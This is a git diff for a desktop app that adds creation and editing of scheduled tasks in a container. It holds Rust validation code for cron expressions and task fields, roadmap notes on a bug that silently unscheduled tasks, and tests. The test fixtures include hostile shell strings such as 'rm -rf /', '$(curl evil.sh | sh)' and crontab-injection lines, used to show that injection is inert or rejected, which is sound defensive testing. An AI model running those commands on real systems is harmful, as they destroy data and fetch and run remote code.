diff --git a/ROADMAP.md b/ROADMAP.md index 46d012a..3b1a8c2 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -197,16 +197,39 @@ the config volume by the entrypoint. Generalizes the pattern the MCP tab was rea (holding `~/.claude`). README.md, HOW-TO-USE.md, and CLAUDE.md all still state that OAuth tokens survive a Reset. Pre-existing; not yet corrected. -3. **Stale model placeholders** — see "Not yet scheduled" above. +3. **An invalid cron expression silently unscheduled every task.** Found while adding + task creation to the Automation tab, and the most serious bug in this review. + `triple-c-scheduler` never validated `--schedule`, and `rebuild_crontab` regenerates the + *entire* crontab and pipes it to `crontab`, which rejects the whole file if any single + line is malformed — with the error discarded by `2>/dev/null || true`. So one bad + schedule silently unscheduled every other task in the container, reporting success. + Reproduced directly. This mattered because the global CLAUDE.md instructs Claude to use + this CLI, so Claude itself could trigger it. Fixed at the root: `add` now validates the + expression and exits non-zero, and `rebuild_crontab` reports a rejected crontab instead + of swallowing it. The Rust `add_scheduled_task` command validates independently. -4. **Silent save failures.** Project config saves on blur; failures go only to - `console.error`. No user-visible indication. Fixed in Phase 3 — `useProjectSave` - now renders a Saved / Saving / Save failed indicator and raises a toast. +4. **Reset was destructive with no confirmation.** It deletes both volumes — the login, + installed skills, all session transcripts — from a single unconfirmed click, while the + comparably destructive Remove already confirmed. Now gated by a dialog that names each + loss. Fixed. + +5. **Cancelling authentication did not cancel.** Fixed — see the handoff section above. + +6. **Stale model placeholders** — see "Not yet scheduled" above. + +7. **Silent save failures.** Project config saves on blur; failures went only to + `console.error`. Fixed in Phase 3 — `useProjectSave` now renders a + Saved / Saving / Save failed indicator and raises a toast. --- ## Known gaps left by Phase 2–3 +- **Editing a scheduled task changes its id.** `triple-c-scheduler` has no `edit` + subcommand, and hand-editing its JSON behind its back would desync the crontab, so edit is + implemented as add-then-remove. The add runs first, so a rejected edit leaves the original + intact. The task gets a new id and its older logs stay under the old one; the editor says + so before saving. - **`open_terminal_session` takes no command argument.** "Resume session" and "Manage in terminal" therefore open a bash tab and *type* the command after a fixed prompt delay. It works, but it is timing-dependent and will misfire on a diff --git a/app/src-tauri/src/commands/inspect_commands.rs b/app/src-tauri/src/commands/inspect_commands.rs index 84d9be1..aacc77e 100644 --- a/app/src-tauri/src/commands/inspect_commands.rs +++ b/app/src-tauri/src/commands/inspect_commands.rs @@ -6,9 +6,9 @@ //! 3. Scheduled tasks managed by the in-container `triple-c-scheduler` //! //! Everything here is read-only except the explicitly-mutating scheduler -//! commands at the bottom of the file (enable/disable, run, remove, clear -//! notifications), which shell out to the scheduler's own subcommands rather -//! than editing its state files. +//! commands at the bottom of the file (add/update, enable/disable, run, remove, +//! clear notifications), which shell out to the scheduler's own subcommands +//! rather than editing its state files. //! //! ## Container access //! @@ -29,13 +29,26 @@ //! //! * The `sh -c` scripts below are compile-time constants. No caller-supplied //! value is ever interpolated into them. -//! * Every command that takes a caller-supplied id runs as a plain **argv +//! * Every command that takes a caller-supplied value runs as a plain **argv //! vector** with no shell in the process tree at all, so shell metacharacters //! are inert by construction. On top of that, ids are validated against a //! strict allowlist ([`validate_task_id`], [`validate_session_id`]) that //! admits no shell metacharacters, no `/`, no `.` (so no path traversal into //! the scheduler's task dir), and no leading `-` (so no option injection). //! +//! Creating a task ([`add_scheduled_task`]) is the one place where *arbitrary* +//! user text — a task name, a whole Claude prompt — is handed to the container. +//! It cannot be allowlisted, so it relies on the argv rule above plus +//! [`ValidatedTaskInput`], which caps lengths, forbids control characters in +//! single-line fields, and rejects a name that could be read as an option. +//! +//! The cron expression gets one extra guarantee. It is the only user-supplied +//! value the scheduler writes into the *crontab* (` `), +//! so a newline in it would be a crontab-injection primitive. +//! [`validate_cron_expression`] therefore re-emits the five parsed fields +//! joined by single spaces and only the normalised form is sent onward, so no +//! whitespace the user typed can survive into a crontab line. +//! //! ## Degradation //! //! A stopped or missing container is a normal state, not an error: the @@ -61,6 +74,17 @@ const MAX_NOTIFICATIONS: usize = 50; const CONTAINER_HOME: &str = "/home/claude"; +/// Caps on the free-text fields of a scheduled task. They exist to keep a +/// runaway paste out of the container's task JSON and out of the `docker exec` +/// payload; they are generous enough for a real prompt. +const MAX_TASK_NAME_LEN: usize = 100; +const MAX_TASK_PROMPT_LEN: usize = 8_000; +const MAX_WORKING_DIR_LEN: usize = 512; +const MAX_CRON_LEN: usize = 256; + +/// The scheduler's own default working directory (`cmd_add`). +const DEFAULT_WORKING_DIR: &str = "/workspace"; + // ───────────────────────────────────────────────────────────────────────────── // Response models // @@ -768,12 +792,463 @@ pub async fn get_scheduler_notifications( .collect()) } +// ── Task creation: input validation ────────────────────────────────────────── + +/// Which of the scheduler's two mutually-exclusive schedule flags to use. +/// +/// `triple-c-scheduler add` takes either `--schedule ""` (recurring) or +/// `--at "YYYY-MM-DD HH:MM"` (one-shot) and errors if given both or neither. +/// Modelling that as an enum makes the invalid combinations unrepresentable. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Deserialize)] +#[serde(rename_all = "camelCase")] +pub enum ScheduleKind { + Recurring, + Once, +} + +impl ScheduleKind { + fn flag(self) -> &'static str { + match self { + ScheduleKind::Recurring => "--schedule", + ScheduleKind::Once => "--at", + } + } +} + +/// A task's fields after validation and normalisation. Constructing one is the +/// only way to build the argv for `triple-c-scheduler add`. +#[derive(Debug, Clone, PartialEq, Eq)] +struct ValidatedTaskInput { + name: String, + prompt: String, + kind: ScheduleKind, + /// Normalised cron expression or `YYYY-MM-DD HH:MM` timestamp. + schedule: String, + working_dir: String, +} + +impl ValidatedTaskInput { + /// The argv for `triple-c-scheduler add …`, one element per value. + /// + /// Note what is *not* here: no quoting, no escaping, no `sh -c`. Every + /// field is its own argv element, so quotes, `;`, `$(…)`, backticks and + /// newlines inside a prompt reach the scheduler as literal data. + fn add_args(&self) -> Vec { + vec![ + "add".to_string(), + "--name".to_string(), + self.name.clone(), + "--prompt".to_string(), + self.prompt.clone(), + self.kind.flag().to_string(), + self.schedule.clone(), + "--working-dir".to_string(), + self.working_dir.clone(), + ] + } +} + +/// Reject control characters. Single-line fields admit none at all; the prompt +/// is allowed tab/newline (a multi-line prompt is normal) but never a NUL, +/// which cannot survive the exec API's C strings. +fn reject_control_chars(value: &str, field: &str, allow_newlines: bool) -> Result<(), String> { + let offender = value.chars().find(|c| { + c.is_control() && !(allow_newlines && matches!(c, '\n' | '\r' | '\t')) + }); + match offender { + Some(c) => Err(format!( + "{} cannot contain the control character {:?}.", + field, c + )), + None => Ok(()), + } +} + +fn validate_task_name(name: &str) -> Result { + let name = name.trim(); + if name.is_empty() { + return Err("Task name is required.".to_string()); + } + if name.chars().count() > MAX_TASK_NAME_LEN { + return Err(format!( + "Task name is too long (max {} characters).", + MAX_TASK_NAME_LEN + )); + } + reject_control_chars(name, "Task name", false)?; + // The scheduler assigns `--name`'s value positionally, so a leading dash is + // not exploitable today — but it would be the moment that parser changed, + // and a task called `--id` is a bad idea regardless. + if name.starts_with('-') { + return Err("Task name cannot start with “-”.".to_string()); + } + Ok(name.to_string()) +} + +fn validate_task_prompt(prompt: &str) -> Result { + let prompt = prompt.trim(); + if prompt.is_empty() { + return Err("Task prompt is required.".to_string()); + } + if prompt.chars().count() > MAX_TASK_PROMPT_LEN { + return Err(format!( + "Task prompt is too long (max {} characters).", + MAX_TASK_PROMPT_LEN + )); + } + reject_control_chars(prompt, "Task prompt", true)?; + Ok(prompt.to_string()) +} + +/// `None`/blank falls back to the scheduler's own default, `/workspace`. +fn validate_working_dir(dir: Option<&str>) -> Result { + let dir = dir.map(str::trim).filter(|d| !d.is_empty()).unwrap_or(DEFAULT_WORKING_DIR); + if dir.chars().count() > MAX_WORKING_DIR_LEN { + return Err(format!( + "Working directory is too long (max {} characters).", + MAX_WORKING_DIR_LEN + )); + } + reject_control_chars(dir, "Working directory", false)?; + if !dir.starts_with('/') { + return Err("Working directory must be an absolute path inside the container, e.g. /workspace.".to_string()); + } + if dir.split('/').any(|segment| segment == "..") { + return Err("Working directory cannot contain “..”.".to_string()); + } + Ok(dir.to_string()) +} + +/// One cron field's shape: its human name, its numeric bounds, and the +/// three-letter aliases it accepts (`JAN…DEC`, `SUN…SAT`). +struct CronField { + label: &'static str, + min: u32, + max: u32, + names: &'static [&'static str], + /// Numeric value of `names[0]` (1 for January, 0 for Sunday). + name_base: u32, +} + +const MONTH_NAMES: [&str; 12] = [ + "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec", +]; +const DOW_NAMES: [&str; 7] = ["sun", "mon", "tue", "wed", "thu", "fri", "sat"]; + +/// Bounds match Debian/vixie cron, which is what the container runs: day of +/// week accepts both 0 and 7 for Sunday, and month/day-of-week accept names. +const CRON_FIELDS: [CronField; 5] = [ + CronField { label: "minute", min: 0, max: 59, names: &[], name_base: 0 }, + CronField { label: "hour", min: 0, max: 23, names: &[], name_base: 0 }, + CronField { label: "day of month", min: 1, max: 31, names: &[], name_base: 0 }, + CronField { label: "month", min: 1, max: 12, names: &MONTH_NAMES, name_base: 1 }, + CronField { label: "day of week", min: 0, max: 7, names: &DOW_NAMES, name_base: 0 }, +]; + +/// Largest `/step` accepted. Cron itself tolerates a step wider than the field +/// (`*/61` is legal, it just means "once"), so this only fences off absurdity. +const MAX_CRON_STEP: u32 = 1_000; + +fn cron_value(field: &CronField, token: &str) -> Result { + if !token.is_empty() && token.chars().all(|c| c.is_ascii_digit()) { + // `token` is all digits; a long run of them would overflow, so bound it + // before parsing rather than after. + let value = token + .parse::() + .map_err(|_| format!("{:?} is out of range for the {} field.", token, field.label))?; + if value < field.min || value > field.max { + return Err(format!( + "{:?} is out of range for the {} field ({}–{}).", + token, field.label, field.min, field.max + )); + } + return Ok(value); + } + + let lowered = token.to_ascii_lowercase(); + if let Some(index) = field.names.iter().position(|n| *n == lowered) { + return Ok(index as u32 + field.name_base); + } + + Err(format!( + "{:?} is not valid in the {} field.", + token, field.label + )) +} + +/// One comma-separated element of a cron field: `*`, `5`, `1-5`, `*/10`, +/// `1-5/2`, or a name. A step is only legal after `*` or a range — vixie cron +/// rejects `1/2`, so accepting it here would produce a crontab it refuses. +fn validate_cron_element(field: &CronField, element: &str) -> Result<(), String> { + if element.is_empty() { + return Err(format!("Empty value in the {} field.", field.label)); + } + + let (base, step) = match element.split_once('/') { + Some((base, step)) => (base, Some(step)), + None => (element, None), + }; + + if let Some(step) = step { + if step.is_empty() || step.len() > 4 || !step.chars().all(|c| c.is_ascii_digit()) { + return Err(format!( + "{:?} in the {} field: a step must be a number, like */5.", + element, field.label + )); + } + let step: u32 = step.parse().unwrap_or(0); + if step == 0 || step > MAX_CRON_STEP { + return Err(format!( + "{:?} in the {} field: a step must be between 1 and {}.", + element, field.label, MAX_CRON_STEP + )); + } + if base != "*" && !base.contains('-') { + return Err(format!( + "{:?} in the {} field: a step can only follow * or a range, like */5 or 1-5/2.", + element, field.label + )); + } + } + + if base == "*" { + return Ok(()); + } + match base.split_once('-') { + Some((from, to)) => { + cron_value(field, from)?; + cron_value(field, to)?; + } + None => { + cron_value(field, base)?; + } + } + Ok(()) +} + +/// Validate a cron expression and return it normalised to exactly five fields +/// separated by single spaces. +/// +/// Two reasons this runs host-side instead of trusting the container: +/// +/// 1. The scheduler does **not** validate the expression. It writes the task +/// JSON, then rebuilds the whole crontab and pipes it to `crontab`, which +/// rejects the *entire file* if any single line is malformed — and the +/// rebuild swallows that error (`|| true`). One bad expression therefore +/// silently unschedules every other task in the container. Verified against +/// the real CLI. +/// 2. The normalised return value is what gets sent onward, so no newline the +/// user typed can reach a crontab line. +fn validate_cron_expression(expression: &str) -> Result { + if expression.len() > MAX_CRON_LEN { + return Err(format!( + "Cron expression is too long (max {} characters).", + MAX_CRON_LEN + )); + } + let fields: Vec<&str> = expression.split_whitespace().collect(); + if fields.len() != 5 { + return Err(format!( + "A cron schedule needs exactly 5 fields (minute hour day-of-month month day-of-week); got {}.", + fields.len() + )); + } + + for (spec, field) in CRON_FIELDS.iter().zip(fields.iter()) { + for element in field.split(',') { + validate_cron_element(spec, element)?; + } + } + + Ok(fields.join(" ")) +} + +/// Validate the one-shot `--at` timestamp. +/// +/// The scheduler matches `^[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$` and +/// converts it to a cron expression, so the shape is checked strictly here +/// (chrono's `%m` would happily accept a one-digit month the scheduler will +/// reject) and chrono is used only to reject impossible dates like `02-30`. +fn validate_at_timestamp(at: &str) -> Result { + let at = at.trim(); + let well_formed = at.len() == 16 + && at.as_bytes().iter().enumerate().all(|(i, b)| match i { + 4 | 7 => *b == b'-', + 10 => *b == b' ', + 13 => *b == b':', + _ => b.is_ascii_digit(), + }); + if !well_formed { + return Err(format!( + "One-shot time must look like \"YYYY-MM-DD HH:MM\"; got {:?}.", + at + )); + } + chrono::NaiveDateTime::parse_from_str(at, "%Y-%m-%d %H:%M") + .map_err(|_| format!("{:?} is not a real date and time.", at))?; + Ok(at.to_string()) +} + +fn validate_task_input( + name: &str, + prompt: &str, + kind: ScheduleKind, + schedule: &str, + working_dir: Option<&str>, +) -> Result { + Ok(ValidatedTaskInput { + name: validate_task_name(name)?, + prompt: validate_task_prompt(prompt)?, + kind, + schedule: match kind { + ScheduleKind::Recurring => validate_cron_expression(schedule)?, + ScheduleKind::Once => validate_at_timestamp(schedule)?, + }, + working_dir: validate_working_dir(working_dir)?, + }) +} + +/// Pull the new task's id out of `add`'s output block, which starts: +/// +/// ```text +/// Task created: +/// ID: a1b2c3d4 +/// Name: … +/// ``` +/// +/// The first `ID:` line wins (the echoed prompt comes later and could contain +/// anything), and the result still has to pass [`validate_task_id`]. +fn parse_created_task_id(output: &str) -> Option { + output + .lines() + .find_map(|line| line.trim().strip_prefix("ID:")) + .map(|value| value.trim().to_string()) + .filter(|id| validate_task_id(id).is_ok()) +} + // ── Mutating scheduler commands ────────────────────────────────────────────── // // These delegate to `triple-c-scheduler`'s own subcommands (which also rebuild // the crontab) instead of editing its JSON, and each runs as a bare argv vector // with a validated id. +/// Create a task via the scheduler's `add`, returning the new task's id. +#[tauri::command] +pub async fn add_scheduled_task( + project_id: String, + name: String, + prompt: String, + schedule_kind: ScheduleKind, + schedule: String, + working_dir: Option, + state: State<'_, AppState>, +) -> Result { + let input = validate_task_input( + &name, + &prompt, + schedule_kind, + &schedule, + working_dir.as_deref(), + )?; + let container_id = require_running_container(&project_id, &state).await?; + + let output = run_scheduler(&container_id, input.add_args()).await?; + let task_id = parse_created_task_id(&output).ok_or_else(|| { + format!( + "The scheduler did not report a task id. Its output was: {}", + output.trim() + ) + })?; + + log::info!( + "Added scheduler task {} ({:?}) in project {}", + task_id, + input.name, + project_id + ); + Ok(task_id) +} + +/// Replace an existing task with an edited copy, returning the **new** task id. +/// +/// `triple-c-scheduler` has no `edit`/`update` subcommand — its subcommands are +/// add / remove / enable / disable / list / logs / run / notifications — and +/// hand-editing its task JSON from here would bypass the crontab rebuild that +/// every one of those does. So an edit is `add` followed by `remove`: +/// +/// * **In that order**, so a rejected `add` leaves the original untouched +/// rather than deleting a prompt the user cannot get back. The cost is a +/// sub-second window in which both tasks are in the crontab. +/// * The task therefore gets a **new id**. Its old log directory +/// (`~/.claude/scheduler/logs//`) stays behind under the old id; the +/// UI warns about this before saving. +/// * `enabled` is carried over explicitly, because `add` always creates an +/// enabled task and silently re-enabling a task the user had switched off +/// would schedule a run they did not ask for. +#[tauri::command] +pub async fn update_scheduled_task( + project_id: String, + task_id: String, + name: String, + prompt: String, + schedule_kind: ScheduleKind, + schedule: String, + working_dir: Option, + enabled: Option, + state: State<'_, AppState>, +) -> Result { + validate_task_id(&task_id)?; + let input = validate_task_input( + &name, + &prompt, + schedule_kind, + &schedule, + working_dir.as_deref(), + )?; + let container_id = require_running_container(&project_id, &state).await?; + + let output = run_scheduler(&container_id, input.add_args()).await?; + let new_id = parse_created_task_id(&output).ok_or_else(|| { + format!( + "The scheduler did not report a task id, so the original task was left in place. Its output was: {}", + output.trim() + ) + })?; + + run_scheduler( + &container_id, + vec!["remove".to_string(), "--id".to_string(), task_id.clone()], + ) + .await + .map_err(|e| { + format!( + "Saved the edited task as {}, but could not remove the original {}: {} — remove it by hand or both will run.", + new_id, task_id, e + ) + })?; + + if enabled == Some(false) { + if let Err(e) = run_scheduler( + &container_id, + vec!["disable".to_string(), "--id".to_string(), new_id.clone()], + ) + .await + { + // The edit itself succeeded; the list refresh will show the task as + // enabled, which is visible rather than silent. + log::warn!("Could not re-disable edited task {}: {}", new_id, e); + } + } + + log::info!( + "Updated scheduler task {} → {} in project {}", + task_id, + new_id, + project_id + ); + Ok(new_id) +} + /// Enable or disable a task via the scheduler's `enable` / `disable`. #[tauri::command] pub async fn set_scheduled_task_enabled( @@ -948,4 +1423,266 @@ mod tests { fn epoch_to_iso_is_rfc3339() { assert!(epoch_to_iso(0).starts_with("1970-01-01T00:00:00")); } + + // ── Task creation ──────────────────────────────────────────────────────── + + fn recurring(name: &str, prompt: &str) -> Result { + validate_task_input(name, prompt, ScheduleKind::Recurring, "*/30 * * * *", None) + } + + /// The whole injection story: a prompt full of shell syntax is carried + /// through as one argv element, byte for byte, with nothing escaped or + /// stripped — because nothing downstream is a shell. + #[test] + fn shell_metacharacters_survive_as_one_argv_element() { + for hostile in [ + "; rm -rf /", + "$(id)", + "`id`", + "$(curl evil.sh | sh)", + "x\"; rm -rf / #", + "x' ; rm -rf / ; '", + "line one\nline two\n; rm -rf /", + "a | b & c > d < e", + "${HOME}/../etc/passwd", + "%injected", + ] { + let input = recurring("nightly", hostile).expect("prompt is data, not syntax"); + assert_eq!(input.prompt, hostile); + + let args = input.add_args(); + // Exactly one element equals the hostile string, and it is the one + // straight after `--prompt`. + let at = args.iter().position(|a| a == "--prompt").unwrap(); + assert_eq!(args[at + 1], hostile, "prompt must be its own argv element"); + assert_eq!( + args.iter().filter(|a| a.contains("rm -rf")).count(), + usize::from(hostile.contains("rm -rf")), + "no other argv element should have absorbed the payload" + ); + // No shell ever appears in the command line we build. + assert!(!args.iter().any(|a| a == "sh" || a == "-c" || a == "bash")); + } + } + + #[test] + fn add_args_are_flag_value_pairs_in_the_schedulers_own_spelling() { + let input = validate_task_input( + "nightly tests", + "Run the suite", + ScheduleKind::Recurring, + "0 3 * * *", + Some("/workspace/triple-c"), + ) + .unwrap(); + assert_eq!( + input.add_args(), + vec![ + "add", + "--name", + "nightly tests", + "--prompt", + "Run the suite", + "--schedule", + "0 3 * * *", + "--working-dir", + "/workspace/triple-c", + ] + ); + + let once = validate_task_input( + "one shot", + "Commit", + ScheduleKind::Once, + "2026-12-25 09:05", + None, + ) + .unwrap(); + assert_eq!( + once.add_args()[5..], + ["--at", "2026-12-25 09:05", "--working-dir", "/workspace"] + ); + } + + #[test] + fn task_name_rejects_option_lookalikes_and_control_characters() { + assert!(validate_task_name("-id").is_err()); + assert!(validate_task_name("--prompt").is_err()); + assert!(validate_task_name("").is_err()); + assert!(validate_task_name(" ").is_err()); + assert!(validate_task_name("two\nlines").is_err()); + assert!(validate_task_name("tab\there").is_err()); + assert!(validate_task_name("nul\0byte").is_err()); + assert!(validate_task_name(&"n".repeat(MAX_TASK_NAME_LEN + 1)).is_err()); + + // A name is free text otherwise; metacharacters are inert as argv. + assert_eq!(validate_task_name(" nightly; rm -rf / ").unwrap(), "nightly; rm -rf /"); + assert_eq!(validate_task_name("$(id)").unwrap(), "$(id)"); + assert_eq!(validate_task_name(&"n".repeat(MAX_TASK_NAME_LEN)).unwrap().len(), MAX_TASK_NAME_LEN); + } + + #[test] + fn task_prompt_allows_newlines_but_not_nul_or_novels() { + assert_eq!( + validate_task_prompt("first\nsecond\ttabbed").unwrap(), + "first\nsecond\ttabbed" + ); + assert!(validate_task_prompt("").is_err()); + assert!(validate_task_prompt(" \n ").is_err()); + assert!(validate_task_prompt("bad\0nul").is_err()); + assert!(validate_task_prompt(&"p".repeat(MAX_TASK_PROMPT_LEN + 1)).is_err()); + } + + #[test] + fn working_dir_must_be_absolute() { + assert_eq!(validate_working_dir(None).unwrap(), "/workspace"); + assert_eq!(validate_working_dir(Some(" ")).unwrap(), "/workspace"); + assert_eq!(validate_working_dir(Some("/workspace/app")).unwrap(), "/workspace/app"); + + for bad in [ + "workspace", + "./workspace", + "~/workspace", + "-/workspace", + "/workspace/../etc", + "/work\nspace", + "/work\0space", + ] { + assert!( + validate_working_dir(Some(bad)).is_err(), + "should have rejected {:?}", + bad + ); + } + assert!(validate_working_dir(Some(&format!("/{}", "d".repeat(MAX_WORKING_DIR_LEN)))).is_err()); + } + + #[test] + fn cron_accepts_real_expressions() { + for good in [ + "* * * * *", + "*/30 * * * *", + "0 3 * * *", + "0 9 * * 1-5", + "0,30 9-17 * * 1-5", + "15 0 1 1 *", + "0 9 * * 0", + // vixie cron takes 7 as Sunday, and three-letter names. + "0 9 * * 7", + "0 9 * * MON-FRI", + "0 0 1 JAN *", + "0 0 1 jan sun", + // A step wider than the field is legal; it just means "once". + "0-59/70 * * * *", + "1-5/2 * * * *", + "05 09 * * *", + ] { + assert!( + validate_cron_expression(good).is_ok(), + "should have accepted {:?}: {:?}", + good, + validate_cron_expression(good) + ); + } + } + + #[test] + fn cron_rejects_what_crontab_would_reject() { + for bad in [ + "", + "* * * *", // four fields + "* * * * * *", // six + "@daily", // shorthand the scheduler cannot place in a line + "not a cron", + "99 * * * *", // minute out of range + "0 24 * * *", // hour out of range + "0 0 0 1 *", // day-of-month is 1-based + "0 9 * * 8", // day-of-week is 0-7 + "0 9 * 13 *", // month out of range + "*/0 * * * *", // zero step + "1/2 * * * *", // step without * or a range + "0 9 * * MON-FRO", // not a weekday + "0 9 * * mon,", // empty list element + "0 9 * * ,mon", + "0 9 * * 1--5", + "0 9 * * 1-5/", // empty step + "0 9 * * 1-5/x", + // Names only apply to their own field: no month in day-of-week, + // and no names at all in minute/hour/day-of-month. + "0 9 * * jan", + "jan 9 * * *", + "0 mon * * *", + "0 9 * * *; rm -rf /", + "$(id) * * * *", + "0 9 * * *`id`", + "99999999999999999999 * * * *", + ] { + assert!( + validate_cron_expression(bad).is_err(), + "should have rejected {:?}", + bad + ); + } + assert!(validate_cron_expression(&"1 ".repeat(200)).is_err()); + } + + /// The crontab line is ` `, so any whitespace the + /// user typed has to be flattened before it can start a second line. + #[test] + fn cron_normalisation_flattens_whitespace_and_newlines() { + assert_eq!( + validate_cron_expression(" 0 9 * * * ").unwrap(), + "0 9 * * *" + ); + assert_eq!( + validate_cron_expression("0 9 * *\n*").unwrap(), + "0 9 * * *" + ); + assert_eq!(validate_cron_expression("0\t9\t*\t*\t*").unwrap(), "0 9 * * *"); + // An injected extra line is extra fields, and five is five. + assert!(validate_cron_expression("* * * * *\n* * * * * /bin/sh").is_err()); + + let input = + validate_task_input("n", "p", ScheduleKind::Recurring, "0 9 * *\n*", None).unwrap(); + assert!(!input.schedule.contains('\n')); + assert_eq!(input.schedule, "0 9 * * *"); + } + + #[test] + fn at_timestamp_matches_the_schedulers_own_format() { + assert_eq!( + validate_at_timestamp(" 2026-12-25 09:05 ").unwrap(), + "2026-12-25 09:05" + ); + for bad in [ + "", + "tomorrow", + "2026-1-5 09:05", // the scheduler's regex demands two digits + "2026-12-25T09:05", + "2026-12-25 09:05:00", + "2026-13-01 09:05", + "2026-02-30 09:05", // not a real day + "2026-12-25 25:00", + "2026-12-25 09:05\n* * * * * /bin/sh", + "$(date) 09:05", + ] { + assert!( + validate_at_timestamp(bad).is_err(), + "should have rejected {:?}", + bad + ); + } + } + + #[test] + fn created_task_id_comes_from_the_first_id_line_and_is_revalidated() { + let output = "Task created:\n ID: 5c2fa70d\n Name: nightly\n Type: recurring\n Schedule: */30 * * * *\n Prompt: ID: not-this-one\n"; + assert_eq!(parse_created_task_id(output).as_deref(), Some("5c2fa70d")); + + assert_eq!(parse_created_task_id("").as_deref(), None); + assert_eq!(parse_created_task_id("Task created:\n").as_deref(), None); + // A malformed id is dropped rather than passed to a later subcommand. + assert_eq!(parse_created_task_id(" ID: ../../etc/passwd\n").as_deref(), None); + assert_eq!(parse_created_task_id(" ID: a; rm -rf /\n").as_deref(), None); + } } diff --git a/app/src-tauri/src/lib.rs b/app/src-tauri/src/lib.rs index bcc6655..287264a 100644 --- a/app/src-tauri/src/lib.rs +++ b/app/src-tauri/src/lib.rs @@ -221,6 +221,8 @@ pub fn run() { commands::inspect_commands::resume_session_command, commands::inspect_commands::list_container_capabilities, commands::inspect_commands::list_scheduled_tasks, + commands::inspect_commands::add_scheduled_task, + commands::inspect_commands::update_scheduled_task, commands::inspect_commands::get_scheduled_task_log, commands::inspect_commands::set_scheduled_task_enabled, commands::inspect_commands::run_scheduled_task_now, diff --git a/app/src/components/projects/home/AutomationTab.tsx b/app/src/components/projects/home/AutomationTab.tsx index 346ae86..f481cb7 100644 --- a/app/src/components/projects/home/AutomationTab.tsx +++ b/app/src/components/projects/home/AutomationTab.tsx @@ -14,6 +14,7 @@ import Button from "../../ui/Button"; import Toggle from "../../ui/Toggle"; import Modal from "../../ui/Modal"; import StatusIndicator from "../../ui/StatusIndicator"; +import TaskEditorModal from "./TaskEditorModal"; import { formatAge } from "./format"; interface Props { @@ -31,6 +32,8 @@ export default function AutomationTab({ project }: Props) { const [busyTaskId, setBusyTaskId] = useState(null); const [log, setLog] = useState<{ task: ScheduledTask; text: string } | null>(null); const [confirmRemoveId, setConfirmRemoveId] = useState(null); + /** `undefined` = closed, `null` = creating, a task = editing it. */ + const [editing, setEditing] = useState(undefined); const pushToast = useAppState((s) => s.pushToast); const running = project.status === "running"; @@ -148,9 +151,14 @@ export default function AutomationTab({ project }: Props) { {" "} inside the container.

- +
+ + +
{!running ? ( @@ -159,7 +167,7 @@ export default function AutomationTab({ project }: Props) {

) : tasks.length === 0 && !loading ? (

- No scheduled tasks. Ask Claude to add one with{" "} + No scheduled tasks yet. Use New task, or ask Claude to add one with{" "} triple-c-scheduler add.

) : ( @@ -203,6 +211,9 @@ export default function AutomationTab({ project }: Props) { > Run now + @@ -219,6 +230,15 @@ export default function AutomationTab({ project }: Props) { )} + {editing !== undefined && ( + setEditing(undefined)} + onSaved={load} + /> + )} + {log && ( "a1b2c3d4"); +const updateScheduledTask = vi.fn(async () => "e5f6a7b8"); + +vi.mock("../../../lib/tauri-commands", () => ({ + addScheduledTask: (...args: unknown[]) => addScheduledTask(...(args as [])), + updateScheduledTask: (...args: unknown[]) => updateScheduledTask(...(args as [])), +})); + +/** Modal focuses via rAF; jsdom needs a flush. */ +async function flushFocus() { + await act(async () => { + vi.advanceTimersByTime(20); + }); +} + +const baseProject: Project = { + id: "p1", + name: "api-server", + paths: [{ host_path: "/home/user/api", mount_name: "api" }], + container_id: "c1", + status: "running", + backend: "anthropic", + bedrock_config: null, + ollama_config: null, + openai_compatible_config: null, + allow_docker_access: false, + sandbox_mode_enabled: true, + mission_control_enabled: false, + auth_bridge_enabled: false, + use_shared_auth_token: true, + full_permissions: false, + permission_mode: "bypass", + ssh_key_path: null, + git_token: null, + git_user_name: null, + git_user_email: null, + custom_env_vars: [], + port_mappings: [], + claude_instructions: null, + claude_code_settings: null, + renamed_session_names: {}, + created_at: "2026-01-01T00:00:00Z", + updated_at: "2026-01-01T00:00:00Z", +}; + +const existingTask: ScheduledTask = { + id: "a1b2c3d4", + name: "nightly", + prompt: "Run the suite", + schedule: "0 3 * * *", + task_type: "recurring", + at: null, + enabled: false, + working_dir: "/workspace/api", + created_at: null, + last_run: null, + next_run: null, +}; + +async function renderEditor(task: ScheduledTask | null = null, project = baseProject) { + const onClose = vi.fn(); + const onSaved = vi.fn(); + render( + , + ); + await flushFocus(); + return { onClose, onSaved }; +} + +const field = (name: RegExp) => screen.getByLabelText(name) as HTMLInputElement; +const submit = async () => + await act(async () => { + fireEvent.click(screen.getByRole("button", { name: /create task|save changes/i })); + }); + +describe("TaskEditorModal", () => { + beforeEach(() => { + vi.clearAllMocks(); + vi.useFakeTimers({ toFake: ["requestAnimationFrame", "setTimeout"] }); + }); + afterEach(() => vi.useRealTimers()); + + it("sends the typed values through as data, untouched", async () => { + await renderEditor(); + fireEvent.change(field(/^name$/i), { target: { value: " nightly " } }); + // A prompt full of shell syntax must reach the backend verbatim. + fireEvent.change(field(/^prompt$/i), { + target: { value: 'echo "hi"; rm -rf / $(id)\nsecond line' }, + }); + fireEvent.change(field(/cron expression/i), { target: { value: "0 3 * * *" } }); + await submit(); + + expect(addScheduledTask).toHaveBeenCalledWith("p1", { + name: "nightly", + prompt: 'echo "hi"; rm -rf / $(id)\nsecond line', + scheduleKind: "recurring", + schedule: "0 3 * * *", + workingDir: "/workspace", + }); + }); + + it("refuses to submit an invalid cron expression and says why", async () => { + const { onSaved } = await renderEditor(); + fireEvent.change(field(/^name$/i), { target: { value: "nightly" } }); + fireEvent.change(field(/^prompt$/i), { target: { value: "do the thing" } }); + fireEvent.change(field(/cron expression/i), { target: { value: "99 * * * *" } }); + await submit(); + + expect(addScheduledTask).not.toHaveBeenCalled(); + expect(onSaved).not.toHaveBeenCalled(); + expect(screen.getByRole("alert")).toHaveTextContent(/out of range for the minute field/i); + }); + + it("refuses a relative working directory", async () => { + await renderEditor(); + fireEvent.change(field(/^name$/i), { target: { value: "nightly" } }); + fireEvent.change(field(/^prompt$/i), { target: { value: "do the thing" } }); + fireEvent.change(field(/working directory/i), { target: { value: "relative/path" } }); + await submit(); + + expect(addScheduledTask).not.toHaveBeenCalled(); + expect(screen.getByRole("alert")).toHaveTextContent(/absolute path/i); + }); + + it("reads the cron expression back in English", async () => { + await renderEditor(); + fireEvent.change(field(/cron expression/i), { target: { value: "0 9 * * 1-5" } }); + expect(screen.getByText("At 09:00, on Monday to 